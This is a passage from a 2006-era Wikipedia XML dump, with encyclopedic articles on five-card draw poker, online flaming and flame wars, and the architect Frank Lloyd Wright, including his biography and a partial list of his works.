[[Category:French people|*List]]
[[Category:Lists of people by nationality|French]]

[[bg:Списък на французи]]
[[de:Liste bedeutender Franzosen]]
[[fa:فهرست مشاهیر فرانسه]]
[[fr:Liste de Français célèbres]]
[[it:Francesi celebri]]
[[ja:フランス人の一覧]]
[[fi:Luettelo ranskalaisista henkilöistä]]
[[zh:法国人列表]]</text>
    </revision>
  </page>
  <page>
    <title>Five-card draw</title>
    <id>10679</id>
    <revision>
      <id>36532559</id>
      <timestamp>2006-01-24T19:18:57Z</timestamp>
      <contributor>
        <ip>63.114.24.9</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Five-card draw''' is often the first [[list of poker variants|poker variant]] learned by most players, and is very common in home games although it is now rare in [[casino]] and [[poker tournament|tournament]] play.  The [[lowball (poker)|lowball]] variations make more interesting games and are more commonly played in casinos.  Two to eight players can play.

The descriptions below assume that you are familiar with the general [[Poker#Game_play|game play]] of [[poker]], and with [[Hand (poker)|hand values]].  They also make no assumptions about what [[Betting (poker)|betting structure]] is used.  In casino play, it is common to use [[Betting (poker)#Blinds|blinds]]; the first betting round thus begins with the player to the left of the big blind, and subsequent rounds begin with the player to the dealer's left.  In home games, it is typical to use an [[Betting (poker)#Ante|ante]]; the first betting round begins with the player to the dealer's left, and the second round begins with the player who [[Betting (poker)#Open|open]]ed the first round.

Play begins with each player being dealt five cards, one at a time, all face down.  The remaining deck stub is placed aside, often protected by placing a chip or other marker on it.  Players pick up the cards and hold them in their hands, being careful to keep them concealed from the other players.  The first &quot;before the draw&quot; betting round occurs at this point, starting with the player to the dealer's left (or to the left of the big blind if blinds are used).

If more than one player remains after the first round, the &quot;draw&quot; phase begins.  Each player specifies how many of his cards he wishes to replace, and discards that many from his hand.  The deck stub is retrieved, and after a [[burn card]] is dealt, each player in turn beginning at the dealer's left is dealt from the stub the same number of cards he discarded, so that each player again has five cards.  It is important that each player discards the cards he wishes to replace before he takes any replacements, and that he take the same number of replacements as he discarded.

A second &quot;after the draw&quot; betting round occurs after the draw phase, beginning with the player to the dealers left or else beginning with the player who opened the first round (the latter is common when antes are used instead of blinds).  This is followed by a [[Showdown (poker)|showdown]] if more than one player remains, in which the player with the best [[Hand (poker)|hand]] wins the pot.

A common &quot;house rule&quot; in some places is that a player may not replace more than three cards, unless he draws four cards while keeping an ace (or [[Wild card (poker)|wild card]]).  This rule is only needed for low-stakes social games where many players will stay for the draw, and will help avoid depletion of the deck stub.  In more serious games such as those played in casinos it is unnecessary and generally not used.  A rule that ''is'' used by many casinos is that a player is not allowed to draw five consecutive cards from the deck stub.  In this case, if a player wishes to replace all five of his cards, he is given four of them in turn, the other players are given their draws, and then the dealer returns to that player to give him his fifth replacement (if no later player drew, it is necessary to deal a [[burn card]] first).

Another common house rule is that the bottom card of the deck is never given as a replacement, to avoid the possibility of someone who might have seen it during the deal using that information.  If the deck stub is depleted during the draw before all players have received their replacements, the last players can receive cards chosen randomly from among those discarded by previous players.  For example, if the last player to draw wants three replacements but there are only two cards remaining in the deck stub, the dealer gives the player the one top card he can give, then shuffles together the bottom card of the deck, the burn card, and the earlier players' discards (but not the player's own discards!), and finally deals two more replacements to the last player.

==Sample deal==
The sample deal below assumes that a game is being played by four players: Alice, who is dealing in the examples; Bob, who is sitting to her left; Carol to his left; and David to Carol's left.

All four players ante $.25.  Alice deals five cards to each player and places the deck stub aside.  Bob opens the betting round by betting $1.  Carol folds, David calls, and Alice calls, closing the betting round.  Bob now declares that he wishes to replace three of his cards, so he removes those three cards from his hand and discards them.  Alice retrieves the deck stub, deals a burn card, then deals three cards directly to Bob, who puts them in his hand.  David discards one card, and Alice deals one card to him from the deck stub.  Alice now discards three of her own cards, and replaces them with three from the top of the deck stub (Note: in a player-dealt casino game there is often a rule that the dealer must discard before picking up the deck stub, but this is a home game so we won't worry about such details).  Now a second betting round begins.  Bob checks, David bets $3, Alice calls, and Bob folds, ending the second betting round.  David shows a [[Flush (poker)|flush]], and Alice shows [[two pair]], so David takes the pot.

==See also==
*[[draw poker]]

[[Category:Poker variants]]

[[sv:Mörkpoker]]</text>
    </revision>
  </page>
  <page>
    <title>Flaming</title>
    <id>10680</id>
    <revision>
      <id>41822476</id>
      <timestamp>2006-03-01T23:43:32Z</timestamp>
      <contributor>
        <username>Jredmond</username>
        <id>27307</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">:'' This article is about the Internet meaning of the word &quot;flaming&quot;.  For other meanings, and meanings of the word &quot;flame&quot;, see [[Flame (disambiguation)]].''

'''Flaming''' is the act of posting messages that are deliberately hostile and insulting, usually in the social context of a [[discussion board]] (usually on the [[Internet]]).  Such messages are called flames, and are sometimes posted in response to [[flamebait]]. Flaming is said by some to be one of a class of economic problems known as [[The Tragedy of the Commons]], when a group holds a resource (in this case, communal attention), but each of the individual members has an incentive to overuse it.

Although the trading of insults is as old as humanity, flaming on the Internet, like many other online 'actions', started in the [[Usenet]] hierarchies (although it was known to occur in the [[WWIVnet]] and [[FidoNet]] computer networks as well).  A flame may have elements of a normal message, but is distinguished by its intent.  A flame is typically not intended to be constructive, to further clarify a discussion, or to persuade other people.  The motive for flaming is often not [[dialectic]], but rather social or psychological. Sometimes, flamers are attempting to assert their authority, or establish a position of superiority.  Occasionally, flamers wish to upset and offend other members of the forum, in which case they are [[Internet troll|troll]]s.  Most often however, flames are angry or insulting messages transmitted by people who have strong feelings about a subject. Finally, some consider flaming to be a great way to let off steam, though the receiving party may be less than pleased.

Similarly, a normal, non-flame message may have elements of a flame -- it may be hostile, for example -- but it is not a flame if it is seriously intended to advance the discussion.

The word '''flaming''' is also sometimes used for long, intensive and heated discussions, even though insults do not occur.

== Flame wars == 
{{wikinews|Study says people don't understand the emotional tone of emails, but think they do}}
A '''flame war''' is a series of flaming messages in electronic discussion groups such as [[usenet]], [[mailing list]]s or [[internet forum]]s.  There are a number of characteristics of electronic communication which have been cited as being conducive to flame wars.  Electronic communications do not easily transmit facial expressions or voice intonations which may serve to moderate the tone of a message.  Also, there is typically a [[lag]] time between the time a message is transmitted and the time a reply is read.  These two characteristics can cause a &quot;positive feedback loop&quot; in which the emotional intensity of an electronic exchange increases to extremely high levels.

Alternatively, flame wars may be instigated deliberately by [[Internet troll]]s. Not all trolls are successful, though.

Jay W. Forrester described a phenomenon that often happens in flamewars whereby participants talk past each other.  Each participant employs a different [[Semiotics|mental model]] (i.e. due to fundamental differences in their assumptions about what a particular word or concept means, they are actually discussing two different things).

===Interforum flame wars===
While most flame wars occur within a single message board, forum, or community, sometimes flame wars will erupt between two separate forums (especially when both forums are centered around similar subjects).  This may happen in a variety of ways:
*A member of Forum A leaves on bad terms, joins Forum B and flames Forum A.  Members of Forum B side with their new member, then proceed to also bash Forum A (regardless of any personal knowledge of the workings of that forum).  Members from Forum A may then begin to flame Forum B, et cetera.
*A member (or members) of Forum A join(s) Forum B with the intent of &quot;spamming&quot; their board or generally being a nuisance.  This is typically unprovoked.  Members of Forum B become frustrated and begin flaming Forum A.
*Members or administrators of Forum A may accuse members or administrators of Forum B of &quot;hacking&quot; accounts or the board itself.

== Extended use of the term &quot;flame war&quot; ==

Sometimes, serious academic or technical disagreements online are described casually as &quot;flame wars&quot; even when the major participants are making useful and informative points and, largely, not flaming. This may have to do with the degree to which observers identify emotionally with the sides of the debate, or see esteemed leaders or role-models representing their own points of view powerfully.

For example, the [[Usenet]] discussion between [[Andrew S. Tanenbaum]] and [[Linus Torvalds]] on [[microkernel]] versus [[monolithic kernel]] [[operating system]] design has been described as a famous &quot;flame war&quot;. Despite being designated a &quot;flame war&quot;, the debate is quite informative: it has been studied by serious computer scientists and researchers, and continues to remain recommended and even required reading in courses on OS design and implementation. 

Partly, terming such a discussion a &quot;flame war&quot; seems to be due to faulty or distorted memory of the discussion itself: it is easier to remember the (relatively few) insulting asides made -- such as Tanenbaum's comment that he would give Torvalds a poor grade for [[Linux]]'s design -- than it is to remember the technical points. To continue the above example, Torvalds and Tanenbaum have both made it clear that they consider their famous discussion to have been mischaracterized.

Technical &quot;advocacy&quot; discussions, concerning the merits or flaws of a technology -- or especially of rival technologies -- can often seem &quot;flamy&quot; simply from the emotional intensity of hobbyists or professionals involved. Some have called the debates about the relative merits of [[Intel Pentium]] versus [[PowerPC]], or [[Pentium 4]] versus [[Athlon|Athlon XP]], or [[Microsoft Windows]] versus [[Mac OS X]], or [[Microsoft Windows]] versus [[Linux]], or [[Apple]]'s decision to go with [[NeXT]] over [[BeOS]] as &quot;flame wars&quot;, even though the discussions are often highly technical and non-inflammatory.

Also, the debates on certain topics in theoretical physics, such as [[loop quantum gravity]] versus [[string theory]] between [[Lubos Motl]] and [[John Baez]] and [[Steve Carlip]] has been described by string theorist and Harvard professor of physics Lubos Motl as a &quot;flame war&quot; -- despite the fact that they were a source of fruitful articles on quasinormal modes of black hole physics.

It is also possible that the use of the term &quot;flame war&quot; for heated debates is used in anticipation of the debate becoming an actual flame war.

== Holy wars ==
A '''holy war''', in the sense used in [[hacker slang]], is a protracted, sometimes heated, conflict or argument based on &quot;religious differences&quot; -- usually, personal preferences of one technology over another. Famous holy wars of hackerdom have included the [[Unix]] vs. [[Incompatible Timesharing System|ITS]] disagreement (which spawned the ''[[UNIX-HATERS Handbook]]'') and the perennial [[editor wars]] between Unix programmers who use [[vi]] to edit [[source code]] and those who use [[emacs]].

Whereas a flame war is usually a particular spate of flaming against a non-flamy background, a holy war is a drawn-out disagreement that may last years or even span careers. For instance, younger Linux programmers who today have strong opinions on vi and emacs may not even have been born in [[1976]] when these editors were released.

Use of the term &quot;[[Holy War]]&quot; implies that the root of the disagreement is a clash of [[Values#Personal_and_cultural_values|values]], and intractible of resolution except by agreeing to disagree.

== Causes of flaming ==

There is no general agreement on the causes of flaming, although a recent study has led to somewhat conclusive evidence. Some common hypothesises are:

#Egocentrism causes us to think we know a writer's tone 90% of the time, although we only are correct about 56% of the time.  This leads us to misinterpretation of the writer's intended meaning, causing flame wars as well as serious litigation.
#The lack of body language and voice inflection make it difficult to show emotions in a nuanced way, and the relative anonymity means that it is felt less dangerous to use heated language.
#In forums and chats, there is usually no other way to express your opinion than by writing. Not writing can be interpreted as &quot;giving up&quot;. And opinions and ideas stated a long time ago can be forgotten, causing a need to repeat them. According to this view, a good system for Computer Supported Argument Visualisation (CSAV) might help to clarify the issues without repetition. Sometimes, however, there is a disagreement on so fundamental criteria, that it is not even possible to agree on a structure of the issues and arguments.

Wired News: The Secret Cause of Flame Wars
http://www.wired.com/news/technology/0,70179-0.html?tw=rss.index

A reference on CSAV: &quot;Visualizing Argumentation&quot;, by Paul A. Kirschner et al (ed), 
Springer-Verlag, ISBN 1-85233-664-1.

== External links ==
* A compilation of several [http://www.boredreader.com/links.htm guides to flaming]
* Andrew Heenan's [http://www.advicemeant.com/flame/ Guide to Flaming]
* Netizen's Guide to [http://redwing.hutman.net/%7Emreed/ Flame Warriors]
* Brawl Hall [http://brawl-hall.com/forums/ Flaming Community]
* [[Ursine:Flame|Flame]], [[Ursine:Flame on|Flame on!]], [[Ursine:Flame bait|Flame bait]], [[Ursine:Flamage|Flamage]], and [[Ursine:Flamer|Flamer]] on [[Ursine:Main Page|Ursine]]'s [[Ursine:Jargon|Jargon Wiki]].

[[Category:Internet culture]]

[[cs:Flame war]]
[[da:Flame war]]
[[de:Flame]]
[[es:Anim::Arte]]
[[fr:Flaming]]
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[[he:שלהוב]]
[[hu:Flame war]]
[[nl:Flaming]]
[[pl:Kłótnia internetowa]]
[[pt:Flaming]]
[[ru:Религиозные войны (сленг)]]
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[[sv:Flejma]]</text>
    </revision>
  </page>
  <page>
    <title>Flame war</title>
    <id>10681</id>
    <revision>
      <id>15908480</id>
      <timestamp>2003-09-27T17:43:30Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <comment>#redirect [[flaming]] (merge)</comment>
      <text xml:space="preserve">#redirect [[flaming]]</text>
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  </page>
  <page>
    <title>Frank Lloyd Wright</title>
    <id>10683</id>
    <revision>
      <id>42019314</id>
      <timestamp>2006-03-03T06:43:09Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
      </contributor>
      <comment>[[Category:University of Wisconsin-Madison alumni]]</comment>
      <text xml:space="preserve">[[Image:frank_lloyd_wright.jpg|thumb|190px|Frank Lloyd Wright]]
'''Frank Lloyd Wright ''' ([[June 8]], [[1867]] &amp;ndash; [[April 9]], [[1959]]) was one of the most prominent and influential [[architect]]s of the first half of the 20th century. To this day he is frequently recognized as America's most famous architect and still extremely well-known in the public eye. 

==Early years==
Frank Lloyd Wright was born in the agricultural town of [[Richland Center, Wisconsin]], [[USA]], on June 8, 1867, just two years after the end of the [[American Civil War]]. He was brought up with strong [[Unitarian]] and [[transcendental]] principles (eventually, in 1905, he would design the [[Unity Temple]] in [[Oak Park, Illinois|Oak Park]], [[Illinois]]). As a child he spent a great deal of time playing with the [[kindergarten]] educational blocks by [[Friedrich Wilhelm August Fröbel]] (popularly known as Froebel blocks) given by his mother. These consisted of various geometrically shaped blocks that could be assembled in various combinations to form three-dimensional compositions. Wright in his autobiography talks about the influence of these exercises on his approach to design. Many of his buildings are notable for the geometrical clarity they exhibit. 
[[Image:Habs flw oak park home.jpg|thumb|right|250px|Wright's home in Oak Park, Illinois]]
Wright commenced his formal education in 1885 at the [[University of Wisconsin]] School for [[Engineering]], where he was a member of a [[fraternity]], [[Phi Delta Theta]].  He took classes part time for two years while apprenticing under [[Allen Conover]], a local builder and professor of civil engineering. In 1887, Wright left the university without taking a degree (although he was granted an honorary doctorate of fine arts from the university in 1955) and moved to [[Chicago, Illinois]], where he joined the architectural firm of [[Joseph Lyman Silsbee]].  Within the year, he had left Silsbee to work for the firm of [[Dankmar Adler|Adler]] and [[Louis Sullivan|Sullivan]].  Beginning in 1890, he was assigned all residential design work for the firm.  In 1893, after a falling-out that probably concerned the work he had taken on outside the office, Wright left Adler and Sullivan to establish his own practice and home in the Chicago suburb of [[Oak Park, Illinois|Oak Park, IL]].  He had completed around fifty projects by 1901, including many houses in his hometown.[http://www.wrightplus.org/wrightplus/wrightplus.html]
[[Image:Darwin_Martin_House_-_2004.jpg|thumb|left|250px|Darwin [[Martin House]], Buffalo, New York]]
Between 1900 and 1910, his residential designs were &quot;[[Prairie Houses]]&quot; (extended low buildings with shallow, sloping roofs, clean sky lines, suppressed chimneys, overhangs and terraces, using unfinished materials), so-called because the design is considered to complement the land around Chicago. These houses are credited with being the first examples of the &quot;[[open plan]].&quot;  

In fact, the manipulation of interior space in residential and public buildings, such as the Unitarian Unity Temple, in Oak Park, are hallmarks of his style.   

He believed that humanity should be central to all design.  Many examples of this work can be found in [[Buffalo, New York]], resulting from a friendship between Wright and an executive from the [[Larkin Soap Company]], [[Darwin D. Martin]].  In 1902 the [[Larkin Company]] decided to build a new administration building .  

Wright came to [[Buffalo, New York|Buffalo]] and designed not only the first sketches for the [[Larkin Administration Building]] (completed in 1904, demolished in 1950), but also three homes for the company's executives: 
*George [[Barton House]], [[Buffalo, New York|Buffalo NY]], [[1903]]
*Darwin D. [[Martin House]], [[Buffalo, New York|Buffalo NY]], [[1904]]
*William [[Heath House]], [[Buffalo, New York|Buffalo NY]], [[1905]]

The houses considered the masterpieces of the late Prairie period (1907&amp;ndash;9) are the Frederick Robie House and the Avery and Queene Coonley House, both in Chicago.  The Robie House with its soaring, cantilevered roof lines, supported by a 110-foot-long channel of steel, is the most dramatic.  Its living and dining areas form virtually one uninterrupted space.  This building had a profound influence on young European architects after [[World War I]] and is sometimes called the &quot;cornerstone of modernism.&quot; Wright's work, however, was not known to European architects until after 1910.

==Europe and personal troubles==
In 1904, Wright designed a house for a neighbor in Oak Park, Edwin Cheney, and immediately took a liking to Cheney's wife, Mamah Borthwick Cheney. The two fell in love, even though Wright had been married for over a decade. Often the two could be seen taking rides in Wright's automobile through Oak Park, and they became the talk of the town. Wright's wife, Kitty, would not grant him a divorce however, and at first, neither would Edwin Cheney grant one to Mamah. In 1909, even before the Robie House was actually completed, Wright and Mamah Cheney eloped to Europe. The scandal that erupted virtually destroyed Wright's ability to practice architecture in the United States.

Architectural historians have speculated on why Wright decided to turn his life upside-down. It has been said that he enjoyed living on the edge. Offered as proof of this are the facts that he was always digging himself into problems. He spent money almost as soon as he received it, and almost always seemed to be in debt. This argument has been coupled with speculation that Wright was himself having a professional midlife crisis (in 1907 he was already forty years old). Scholars argue that he felt by 1907-8 that he had done everything he could do with the Prairie Style, particularly from the standpoint of the one-family house. To illustrate, one can ask the question, &quot;How many different permutations of the Prairie Style residence can you do without eventually feeling like you are going nowhere?&quot; Wright was not getting larger commissions for commercial or public buildings, which frustrated him not only because of the desire for bigger and better work, but also because of his immense ego and desire to be recognized as the architectural genius he saw himself as. 

Wright and Mamah Cheney traveled extensively throughout Europe, where Wright absorbed a great amount of architectural history. In 1910, during a stop in [[Berlin]], Wright, with virtually all of his drawings, visited the publishing house of Ernst Wasmuth, who had agreed to publish his work there. In two volumes, the [[Wasmuth Portfolio]] was thus published, and created the first major exposure of Wright's work in Europe.

Wright remained in Europe for two years, though Mamah Cheney left for the United States a few times, and set up home in [[Fiezole, Italy]]. During this time, Edwin Cheney granted her a divorce, though Kitty Wright again refused to grant one to her husband. After Wright's return to the United States in 1911, he moved to [[Spring Green, Wisconsin]], to land that was held by his mother's family, and began to build himself a new home, which he called [[Taliesin]].

== More personal turmoil ==
On August 15, 1914, while Wright was in Chicago completing a large project, Midway Gardens, Julian Carlton, a male servant whom he had hired several months earlier, set fire to the living quarters of Taliesin and murdered seven people with an ax as the fire burned. The dead were: Mamah, her two children John and Martha, a gardener, a draftsman, a workman, and the workman’s son. Two people survived the mêleé, one of whom helped to put out the fire that almost completely consumed the residential wing of the house.

In 1923, Wright's mother, Anna, passed away. Wright wed Miriam Noel in November 1923, but her addiction to [[morphine]] led to the failure of the marriage in less than one year. In 1924, after the separation, Wright met Olga (Olgivanna) Lazovich Hinzenburg, at the [[Petrograd Ballet]]. They moved in together at Taliesin in 1925, but in 1926, Olga's ex-husband sought custody of his daughter. In [[Minnetonka, Minnesota]], Wright and Olgivanna were accused of violating the [[Mann Act]] and arrested in October 1925. The charges were dropped in 1926. The couple married in 1928.

==Enduring legacy==
Wright is responsible for a concept or a series of extremely original concepts of suburban development united under the term [[Broadacre City]]. He proposed the idea in his book ''The Disappearing City'' in 1932, and unveiled a very large (12 by 12 feet) model of this community of the future, showing it in several venues in the following years.  He went on developing the idea until his death.

It was also in the 1930s that Wright first designed &quot;[[Usonian]]&quot; houses. Essentially highly practical houses for middle-class clients, the designs were based on a simple, yet elegant geometry. He would later use similar, elementary forms  in his ''[[First Unitarian Society|First Unitarian Meeting House]]'' built in [[Madison, Wisconsin]], between 1947 and 1950.

Wright was awarded the [[Royal Institute of British Architects|RIBA]] [[Royal Gold Medal]] in 1941. 

[[Image:FallingwaterCantilever570320cv.jpg|thumb|250px|right|[[Fallingwater]], one of the most famous of Frank Lloyd Wright's works]]
His most famous private residence was constructed from 1935 to 1939&amp;mdash;[[Fallingwater]]&amp;mdash;for Mr. and Mrs. E.J. Kaufmann Sr., at [[Bear Run, Pennsylvania]]. It was designed according to Wright's desire to place the occupants close to the natural surroundings, with a stream and waterfall running under part of the building. The construction is a series of [[cantilever]]ed balconies and terraces, using limestone for all verticals and concrete for the horizontals. The house cost $155,000, including the architect's fee of $8,000. Kaufmann's own engineers argued that the design was not sound. They were overruled by Wright, but workmen secretly added extra steel to the horizontal concrete elements.  There is a difference of opinion as to whether Wright's original design would have withstood the test of time.  In 1994, Robert Silman and Associates examined the building and developed a plan to restore the structure.  In the late 1990s, steel supports were added under the lowest cantilever until a detailed structural analysis could be done.  In March 2002, [[post-tensioned concrete|post-tensioning]] of the lowest terrace was completed.

Wright practiced what is known as [[organic architecture]], an architecture that evolves naturally out of the context, most importantly for him the relationship between the site and the building and the needs of the client. Wright's creations took his concern with organic architecture down to the smallest details. From his largest commercial commissions to the relatively modest Usonian houses, Wright conceived virtually every detail of both the external design and the internal fixtures, including furniture, carpets, windows, doors, tables and chairs, light fittings and decorative elements. He was one of the first architects to design and supply custom-made, purpose-built furniture and fittings that functioned as integrated parts of the whole design, and he often returned to earlier commissions to redesign internal fittings. His Prairie houses use themed, coordinated design elements (often based on plant forms) that are repeated in windows, carpets and other fittings. He made innovative use of new building materials such as precast concrete blocks, glass bricks and zinc cames (instead of the traditional lead) for his leadlight windows, and he famously used [[Pyrex]] glass tubing as a major element in the Johnson's Wax building. Wright was also one of the first achitects to design and install custom-made electric light fittings, including some of the very first electric floor lamps, and his very early use of the then-novel spherical glass lampshade (a design previously not possible due to the physical restrictions of gas lighting).

One of his projects, [[Monona Terrace]], originally designed in 1937 as City and County Offices for [[Madison, Wisconsin]], was completed in 1997 on the original site, using a variation of Wright's final design for the exterior with the interior design altered by its new purpose as a convention center.  The &quot;as-built&quot; design was carried out by Wright's apprentice [[Tony Puttnam]]. Monona Terrace was accompanied by controversy throughout the sixty-years between the original design and the completion of the structure.

Wright's personal life was a colorful one that frequently made headlines.  He married three times:  Catherine Lee Tobin in 1889, Miriam Noel in 1922, and Olga Milanov Hinzenberg (Olgivanna) in 1928.  Olgivanna had been living as a disciple of Armenian mystic [[G. I. Gurdjieff]], and her experiences with Gurdjieff influenced the formation and structure of Wright's [[Taliesin Fellowship]] in 1932.  The meeting of Gurdjieff and Wright is explored in [[Robert Lepage|Robert Lepage's]] ''The Geometry Of Miracles''.  Olgivanna continued to run the Fellowship after Wright's death, until her own death in [[Scottsdale, Arizona]] in 1985. Despite being a high-profile architect and almost always in demand, Wright would find himself constantly in debt thanks in part to his lavish lifestyle. In one instance Wright was over $1,000 in debt, and reportedly would borrow $1,500 from a friend only to spend more than half of it on clothes, gifts, and trips. 

[[Image:Wfm guggenheim exterior.jpg|thumb|right|250px|[[Solomon R. Guggenheim Museum]], [[Upper East Side]], New York]]
Wright died on [[April 9]], [[1959]], having designed an enormous number of significant projects including the [[Solomon R. Guggenheim Museum]] in [[New York City]], a building which occupied him for 16 years (1943&amp;ndash;[[1959|59]]) and is probably his most recognized masterpiece. The building rises as a warm beige spiral from its site on [[Fifth Avenue]]; its interior is similar to the inside of a seashell. Its unique central geometry was meant to allow visitors to experience [[Guggenheim]]'s collection of nonobjective geometric paintings with ease by taking an elevator to the top level and then viewing artworks by walking down the slowly descending, central spiral ramp. Unfortunately, when the museum was completed, a number of important details of Wright's design were ignored, including his desire for the interior to be painted off-white. Furthermore, the Museum currently designs exhibits to be viewed by walking up the curved walkway rather than walking down from the top level.

[[Image:FrankLloydWright1966USstamp.jpg|thumb|left|1966 U.S. postage stamp honoring Frank Lloyd Wright]]
Wright built 362 houses. About 300 survive [[as of 2005]]. Three have been lost to forces of nature: the waterfront house for W. L. Fuller in [[Pass Christian, MS]], which was destroyed by [[Hurricane Camille]] in August 1969, the [[Louis Sullivan Bungalow]] of [[Ocean Springs, Mississippi]], which was destroyed by [[Hurricane Katrina]] in 2005, and the [[James Charnley Bungalow]] of [[Ocean Springs, Mississippi]], which was also gutted by Hurricane Katrina in 2005. The [[Ennis House]] in California has also been damaged by earthquake and rain-induced ground movement. While a number of the houses are preserved as museum pieces and millions of dollars are spent on their upkeep, other houses have trouble selling on the open market due to their unique designs, generally small size and outdated features. As buildings age their structural deficiencies are increasingly revealed, and Wright's designs have not been immune from the passage of time. Some of his most daring and innovative designs have required major structural repair, and the soaring cantilevered terraces of Fallingwater are but one example. (A common joke was once how &quot;[[Fallingwater]]&quot; is falling ''into'' the water.) Some of these deficiencies can be attributed to Wright's pushing of materials beyond the state of the art, others to sometimes less than rigorous engineering, and still others to the natural wear and tear of the elements over time.

Many speculate that the character of [[Howard Roark]], an architect in [[Ayn Rand]]'s book ''[[The Fountainhead]]'', is based, at least in part, on Frank Lloyd Wright. Rand, a Wright client herself, however, denied this.  

In 1992 The [[Madison Opera]] in [[Madison, Wisconsin]] commissioned and premiered the opera [[Shining Brow]], by composer [[Daron Hagen]] and librettist [[Paul Muldoon]] based on events early in Wright's life. The work has since received numerous revivals. In 2000, [[Work Song: Three Views of Frank Lloyd Wright]], a [[play]] based on the relationship between the personal and working aspects of Wright's life, debuted at the [[Milwaukee Repertory Theater]].

One of Wright's sons, Frank Lloyd Wright Jr., known as [[Lloyd Wright]], was also a notable architect in Los Angeles.  Lloyd Wright's son, (and Wright's grandson) Eric Lloyd Wright, is currently an architect in [[Malibu, California]].

==Quotations==
[[image:wfm_rosenbaum_house_interior.jpg|thumb|right|The interior of the [[Rosenbaum House]]]]

&amp;#8220;A doctor can bury mistakes, an architect can only advise their client to plant vines.&amp;#8221;

&amp;#8220;I don't need to sign in, I'm the architect.&amp;#8221; &amp;#8211; in response to a patron at Unity Temple asking him to add his name to the entry record.

&amp;#8220;Continuously nature shows him the science of her remarkable economy of structure in mineral and vegetable constructions to go with the unspoiled character everywhere apparent in her forms.&amp;#8221;

&amp;#8220;Give me the luxuries of life and I will gladly do without the necessities.&amp;#8221;

&amp;#8220;Form follows function &amp;#8211; that has been misunderstood. Form and function should be one, joined in a spiritual union.&amp;#8221;

&quot;That's how you can tell it's a roof.&quot; -- in response to complaints about roof leaks in his buildings

==Works==
[[Image:Robie House.jpg|thumb|300px|The [[Robie House]] on the [[University of Chicago]] campus]]
===1880s===
* [[Hillside Home School I]], [[Spring Green, Wisconsin]], 1887
* [[Frank Lloyd Wright Home and Studio]], [[Oak Park, Illinois]], 1889
=== 1890s ===
* [[Louis Sullivan Bungalow]], [[Ocean Springs, Mississippi]], 1890  Destroyed by [[Hurricane Katrina]] 
* [[James Charnley Bungalow]], [[Ocean Springs, Mississippi]], 1890 Gutted by [[Hurricane Katrina]], with much of the structure moved 3 to 4 feet from its foundation. Restoration would be in the millions if possible. Pictures at [http://www.franklloydwrightinfo.com/Katrina.html]]
* [[James Charnley Residence]], [[Chicago, Illinois]], 1891
* [[William Storrs MacHarg Residence]], [[Chicago, Illinois]], 1891
* [[Warren McArthur Residence]], [[Chicago, Illinois]], 1892
* [[George Blossom Residence]], [[Chicago, Illinois]], 1892
* [[Robert G. Emmond Residence]], [[LaGrange, Illinois]], 1892
* [[Thomas H. Gale Residence]], [[Oak Park, Illinois]], 1892
* [[Robert P. Parker Residence]], [[Oak Park, Illinois]], 1892
* [[Dr. Allison W. Harlan Residence]], [[Chicago, Illinois]], 1892
* [[Albert Sullivan Residence]], [[Chicago, Illinois]], 1892
* [[W. Irving Clark Residence]], [[LaGrange, Illinois]], 1893
* [[Walter M. Gale Residence]], [[Oak Park, Illinois]], 1893
* [[Robert M. Lamp Cottage]], Rocky Roost,[[ Lake Mendota]], [[Wisconsin]], 1893
* [[Lake Mendota Boathouse]], [[Madison, Wisconsin]], 1893
* [[Francis Woolley Residence]], [[Oak Park, Illinois]], 1893
* [[Peter Goan Residence]], [[Lagrange, Illinois]], 1893
* [[ Winslow House|William Herman Winslow Residence]], [[River Forest, Illinois]], 1894
* [[Frederick Bagley Residence]], [[Hinsdale, Illinois]], 1894
* [[Henry and Lily Mitchell Residence]], [[Racine, Wisconsin]], 1894
* [[Francisco Terrace Apartments]], [[Chicago, Illinois]], 1895
* [[Edward C. Waller Apartments]], [[Chicago, Illinois]], 1895
* [[Francis Apartments]], [[Chicago, Illinois]], 1895
* [[Chauncey L. Williams Residence]], [[River Forest, Illinois]], 1895
* [[Nathan G. Moore Residence]], [[Oak Park, Illinois]], 1895
* [[Romeo and Juliet Windmill]], [[Spring Green, Wisconsin]], 1896 rebuilt in 1938
* [[Isidore Heller Residence]], [[Chicago, Illinois]], 1896
* [[Harry C. Goodrich Residence]], [[Oak Park, Illinois]], 1896
* [[George W. Smith Residence]], [[Oak Park, Illinois]], 1896
* [[George Furbeck Residence]], [[Oak Park, Illinois]], 1897
* [[Rollin Furbeck Residence]], [[Oak Park, Illinois]], 1897
* [[River Forest Golf Club]], [[River Forest, Illinois]], 1898
* [[Thomas H. Gale Cottage]], [[Whitehall, Michigan]], 1897 
* [[Joseph and Helen Husser Residence]], [[Chicago, Illinois]], 1899

===1900s===
* [[William and Jessie M. Adams Residence]], [[Chicago, Illinois]], 1900
* [[S.A. Foster Residence]] and Stable, [[Chicago, Illinois]], 1900
* [[B. Harley Bradley Residence]] and Stable, [[Kankakee, Illinois]], 1900
* [[Warren Hickox Residence]], [[Kankakee, Illinois]], 1900  
* [[E.H. Pitkin Residence]], [[Desbarats, Ontario]], [[Canada]], 1900
* [[Henry Wallis Cottage]], [[Delavan, Wisconsin]], 1900
* [[Fred B. Jones Residence]], [[Delavan, Wisconsin]], 1900
* Ward Winfield [[Willits House|Willits Residence]], and Gardener’s Cottage and Stables, [[Highland Park, Illinois]], 1901
* [[F.B. Henderson Residence]], [[Elmhurst, Illinois]], 1901
* [[William G. Fricke Residence]], [[Oak Park, Illinois]], 1901
* [[Edward C. Waller Gates and Stables]], [[River Forest, Illinois]], 1901
* [[Buffalo Exposition Pavilion for Universal Portland Cement Company]], [[Buffalo, New York]], 1901
* [[Frank Wright Thomas Residence]],  210 Forest Avenue, [[Oak Park, Illinois]], 1901
* [[E. Arthur Davenport Residence]], [[River Forest, Illinois]], 1901
* [[William E. Martin Residence]], [[Oak Park, Illinois]], 1902
* [[Lake Delavan Yacht Club]], [[Lake Delavan]], [[Delavan, Wisconsin]], 1902
* [[Hillside Home School II]], [[Spring Green, Wisconsin]], 1902
* [[Francis W. and Mary Little Residence I]] and Stable I, [[Peoria, Illinois]], 1902
* Arthur and Grace [[Heurtley Residence]], [[Oak Park, Illinois]], 1902
* [[Mrs. George Gerts Double House, Bridge Cottage]], [[Whitehall, Michigan]], 1902
* [[Susan Lawrence Dana House]], [[Springfield, Illinois]], 1902
